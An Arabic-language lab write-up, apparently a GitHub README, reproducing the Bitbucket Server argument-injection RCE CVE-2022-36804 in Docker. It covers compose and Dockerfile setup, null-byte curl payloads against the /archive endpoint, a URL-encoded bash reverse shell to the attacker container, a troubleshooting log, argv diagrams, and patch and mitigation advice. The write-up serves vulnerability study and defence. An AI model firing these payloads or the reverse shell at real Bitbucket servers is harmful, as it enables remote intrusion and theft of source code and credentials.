
إعادة إنتاج كاملة السلسلة لثغرة CVE-2022-36804 (RCE في Bitbucket). يتضمن مختبرًا مبنيًا على Docker، ومراقبة عبر pspy64 للتحقق من حقن البايت الفارغ، وسكربت استغلال Bash مخصص. استنادًا إلى أبحاث Assetnote.
CVE-2022-36804 هي ثغرة حقن وسائط (Argument Injection) بدرجة خطورة عالية/حرجة ضمن REST API الخاصة بخوادم Atlassian Bitbucket Server وData Center.
في حين أن الدرجة الأساسية الصادرة عن قاعدة بيانات الثغرات الوطنية NVD هي 8.8 (عالية) استنادًا إلى افتراض الحاجة إلى صلاحيات قراءة (PR:L)، فإن هذا التحليل يتعامل معها باعتبارها عيبًا بدرجة 9.8 (حرجة) (PR:N). إذا كان المستودع الهدف يتيح الوصول العام — وهو إعداد شائع — يصبح متجه الاستغلال بالكامل قبل المصادقة.
يوثّق هذا المستودع إعادة إنتاج مخبرية كاملة لسلسلة الاستغلال، استنادًا مباشرةً إلى البحث التقني المنشور من قبل Assetnote.
يتناول التحليل الانتقال من تنسيق البيئة وتجاوز مرشحات الأمان إلى الوصول إلى قشرة عكسية تفاعلية. وكما هو موضح في الاكتشاف الأصلي، يسمح هذا العيب بـ تنفيذ الأوامر عن بُعد (RCE)، والذي يمكن استغلاله قبل المصادقة إذا كان المستودع الهدف يتيح الوصول العام.
تعود جذور الثغرة إلى "عدم تطابق مقاومة التعقيم (Sanitization Impedance Mismatch)" بين بيئة تشغيل Java ونظام التشغيل Linux.
كما أبرز بحث Assetnote، يستخدم Bitbucket مكتبة NuProcess لبناء أوامر Git وتنفيذها. عندما يوفّر المستخدم وسيط prefix لنقطة النهاية /archive، يفشل Bitbucket في إزالة الأحرف الخالية (%00) قبل تمرير قائمة الوسائط إلى نظام التشغيل.
execve() الأمر، تقطع السلسلة عند %00. وبسبب الطريقة التي يمرر بها NuProcess البيانات، يتعامل نظام التشغيل مع كل ما يلي البايت الفارغ باعتباره وسيطًا جديدًا تمامًا لسطر الأوامر.من خلال حقن --exec=...، يخرق المهاجم علامة --prefix المقصودة ويجبر عملية git archive على تنفيذ برنامج ثنائي تعسفي، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE).
لفهم كيفية انتقال الاستغلال من معامل URL بسيط إلى أمر على مستوى نظام التشغيل، يجب علينا تفكيك بنية الحمولة وملاحظة "إزاحة المصفوفة".
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
لمحاكاة سطح هجوم واقعي، تستخدم البيئة المخبرية بنية من حاويتين معزولتين داخل شبكة Docker جسرية (hacking_net). يضمن هذا الإعداد إمكانية تنفيذ الاستغلال والمراقبة في بيئة خاضعة للسيطرة دون التأثير على النظام المضيف.
العقدة الضحية: تشغّل Atlassian Bitbucket Server الإصدار 7.17.1. تم تسمية الحاوية عمدًا باسم bitbucket-victim. يعكس هذا تحسينًا تصميميًا حاسمًا تم إجراؤه لضمان الامتثال لإنفاذ RFC 7230 الخاص بـ Apache Tomcat. باستخدام واصلة بدلاً من شرطة سفلية، تتجنب البيئة أخطاء "الحرف غير الصالح" (Invalid Character) برمز 400 التي تحدث أثناء تنفيذ الحمولة — وهي عقبة تقنية رئيسية تم تحديدها وحلها خلال مرحلة البحث.
عقدة المهاجم: صورة Kali Linux المتجددة مصممة خصيصًا. بخلاف الصورة القياسية، تكون هذه العقدة مجهزة مسبقًا بمجموعة الأدوات المحددة المطلوبة لسلسلة الاستغلال هذه: git للتلاعب بالمستودعات، وcurl لتسليم الحمولة، وnetcat-traditional لالتقاط القشرة العكسية.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
إذا كنت قد جهزت البيئة بالفعل باستخدام docker-compose.yml الموضح أعلاه، يمكنك استخدام سكربت exploit.sh المرفق للتحقق من الثغرة والحصول على قشرة عكسية في ثوانٍ.
1. تجهيز المستمع
على عقدة المهاجم Kali (أو الجهاز المضيف)، ابدأ مستمع netcat لالتقاط القشرة:
nc.traditional -lvnp 4444
2. تنفيذ الاستغلال
شغّل السكربت بتوفير عنوان IP الخاص بـ Bitbucket المستهدف، واسم المشروع/المستودع، وبيانات المستمع الخاص بك:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. التحقق من الوصول
بمجرد تنفيذ السكربت، تحقق من طرفية netcat. يجب أن تحصل على جلسة تفاعلية كمستخدم bitbucket.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
فيما يلي سجل التنفيذ الخام لجلسة المختبر، الذي يوضح الانتقال من إعداد البيئة إلى قشرة عكسية تفاعلية بالكامل، بما في ذلك خطوات استكشاف الأخطاء وإصلاحها المطلوبة لتجاوز منطق التطبيق وقيود خادم الويب.
بدأت بتشغيل البيئة الضعيفة وتكوين التطبيق المستهدف.
docker-compose up -d --build لنشر حاويتي Kali (المهاجم) وBitbucket (الضحية).http://localhost:7990 وانتظرت اكتمال روتين إعداد Bitbucket.CVE ومستودعًا فارغًا باسم Repo1.
للتحقق من الحقن في الوقت الفعلي بدلاً من الاعتماد على الاختبار الأعمى، قررت نشر pspy64 لمراقبة عمليات Linux الأساسية.
pspy64 من مستودع GitHub الرسمي.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) داخل حاوية الضحية، طبّقت صلاحيات التنفيذ وبدأت المراقبة:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
بالانتقال إلى عقدة المهاجم (docker exec -it kali_attacker bash)، أطلقت حمولة تنفيذ الأوامر عن بُعد الأولى الهادفة إلى إنشاء ملف (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ في اسم المضيف.
-H "Host: localhost") لإجبار الحمولة على المرور عبر خادم الويب إلى طبقة تطبيق Bitbucket.أدى إطلاق الحمولة المحدّثة مع رأس المضيف إلى خطأ جديد:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive ترفض الوصول. استنتجت أن السبب هو أن git archive لا يمكنه العمل على مستودع فارغ — فهو يحتاج إلى شجرة التزامات لتحليلها.README.md قصيرًا ("هذا مستودع اختبار لـ CVE-2022-36804") وحاولت دفعه من حاوية Kali.bitbucket_victim يحتوي على الشرطة السفلية المحظورة. هذه الشرطة السفلية تلاحقني - درس مستفاد!172.19.0.3) ودفعت الالتزام باستخدام بيانات اعتماد المسؤول:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
مع تهيئة المستودع، أطلقت الحمولة المعدّلة برأس المضيف مرة أخرى:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
نجاح. بالانتقال إلى طرفية المراقبة، لاحظت "الدليل القاطع". التقط pspy64 اللحظة الدقيقة التي مرر فيها تطبيق Java سلسلة البايت الفارغ المحقونة إلى نواة Linux. وكما توقع التحليل التقني، تعامل نظام التشغيل مع كل ما يلي البايت الفارغ كوسيط جديد.
تابعت هذا بفحص يدوي داخل الحاوية، مؤكدًا أن الملف /tmp/pwned قد أُنشئ بالفعل بواسطة مستخدم bitbucket (UID 2003).
لإنهاء إثبات المفهوم وإظهار أقصى تأثير، انتقلت من إنشاء ملف بسيط إلى الحصول على وصول تفاعلي كامل للنظام.
nc.traditional -lvnp 4444
حصلت على عنوان IP الداخلي لحاوية Kali باستخدام hostname -I لضمان معرفة الضحية بمكان إرسال القشرة.
نفّذت الحمولة النهائية. استخدمت قشرة عكسية لـ bash مشفّرة بعنوان URL لضمان تجاوز أحرف مثل > و& و' لمحللات طلبات HTTP في Tomcat:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
النتيجة: استقر الاتصال. نجحت في الحصول على قشرة تفاعلية كمستخدم خدمة bitbucket، مما يثبت اختراقًا ناجحًا وكاملًا للخدمة.
من المهم التمييز بين تطبيق الويب ونظام التشغيل الأساسي. توفر هذه القشرة العكسية وصولاً إلى بيئة الخادم، وليس حقوق "المسؤول" داخل واجهة Bitbucket.
بصفتها حقن وسائط على مستوى نظام التشغيل، ترث القشرة صلاحيات العملية الأم — في هذه الحالة، حساب خدمة bitbucket (UID 2003).
على الرغم من أن هذا ليس وصول root فوريًا، فإن التأثير لا يزال حرجًا:
سرقة الملكية الفكرية: وصول غير مصرح به إلى كائنات Git الأساسية لجميع المستودعات المستضافة على المثيل، متجاوزًا فعليًا التحكم في الوصول القائم على الأدوار (RBAC) الداخلي للتطبيق.
حصاد بيانات الاعتماد: الوصول إلى ملفات الإعداد الداخلية وأسرار قاعدة البيانات.
التنقل الجانبي (Pivoting): يمكن الآن استخدام الخادم المخترق كبوابة لمهاجمة الشبكة الداخلية.
في بيئة محصّنة، يمثل هذا اختراقًا كاملًا للخدمة. بينما ستكون هناك حاجة إلى تصعيد صلاحيات ثانوي للسيطرة الكاملة على المضيف، فإن الهدف الأساسي — الوصول إلى الملكية الفكرية للمؤسسة — يتحقق بالكامل.
لتأمين مثيلات Bitbucket ضد هذه الثغرة، أصدرت Atlassian تصحيحات تنفذ تحققًا صارمًا من وسيط prefix وتحدّث منطق تنفيذ العمليات لمنع تقسيم الوسائط عبر البايت الفارغ.
الإصلاح الرسمي: الترقية إلى Bitbucket Server وData Center الإصدارات 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, أو أي إصدار صدر بعد أغسطس 2022.
التخفيف الفوري: إذا لم تكن الترقية الفورية ممكنة، تأكد من تعطيل الوصول العام لجميع المستودعات. لا يؤدي هذا إلى إزالة الثغرة، لكنه ينقل سطح الهجوم من متجه غير مصادق (قبل المصادقة) إلى متجه مصادق، مما يتطلب حساب مستخدم صالحًا للتنفيذ.
تم تطوير إثبات المفهوم هذا من خلال تجميع الأبحاث من المصادر والأدوات المخبرية الأولية التالية:
بحث Assetnote: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – الاكتشاف الأصلي والشرح التقني.
الإلهام التقني: Devcraft - GitHub RCE via Git Injection – البحث حول حقن وسائط Git الذي ألهم اكتشاف Assetnote.
الصورة الضعيفة: Atlassian Bitbucket Server 7.17.1 – طبقة الحاوية المحددة المستخدمة في إعادة الإنتاج هذه.
أداة المراقبة: pspy (Process Monitoring Tool) – استُخدمت للتحقق من الصندوق الأبيض لحقن الوسائط في نواة Linux.
| المكوّن | الغرض | الدور التقني |
|---|
prefix=x | متطلب | يحتاج git archive إلى بادئة؛ تعمل x كقيمة مؤقتة. |
%00 | السكين | البايت الفارغ. تمرره Java، لكن نواة Linux المبنية بلغة C تُنهي السلسلة هنا. |
--exec=... | مُطلق RCE | العلامة الخطيرة. تسيء استخدام ميزة Git المدمجة لتنفيذ برامج خارجية. |
touch ... | الفعل | الأمر المطلوب تنفيذه. إثبات مفهوم آمن للتحقق من RCE. |
--remote=... | سلة المهملات | يستهلك معرّف الالتزام (Commit ID) (الذي يضيفه Bitbucket) كوسيط صالح، مما يضمن تنفيذ الأمر بشكل نظيف دون أخطاء في البنية. |
يوضح هذا جوهر الثغرة: كيف يتم تحويل البيانات (بادئة دليل) إلى تعليمة (علامة أمر).
سياق تنفيذ Java (الحالة الأولية):
ترى Java سلسلة واحدة طويلة كوسيط ثالث.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
تنفيذ نواة Linux (الحالة المستغلة):
استدعاء النواة execve() يقسم السلسلة عند كل بايت فارغ (\0)، لينقل العلامات المحقونة إلى مواضعها المستقلة الخاصة في مصفوفة وسائط العملية.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]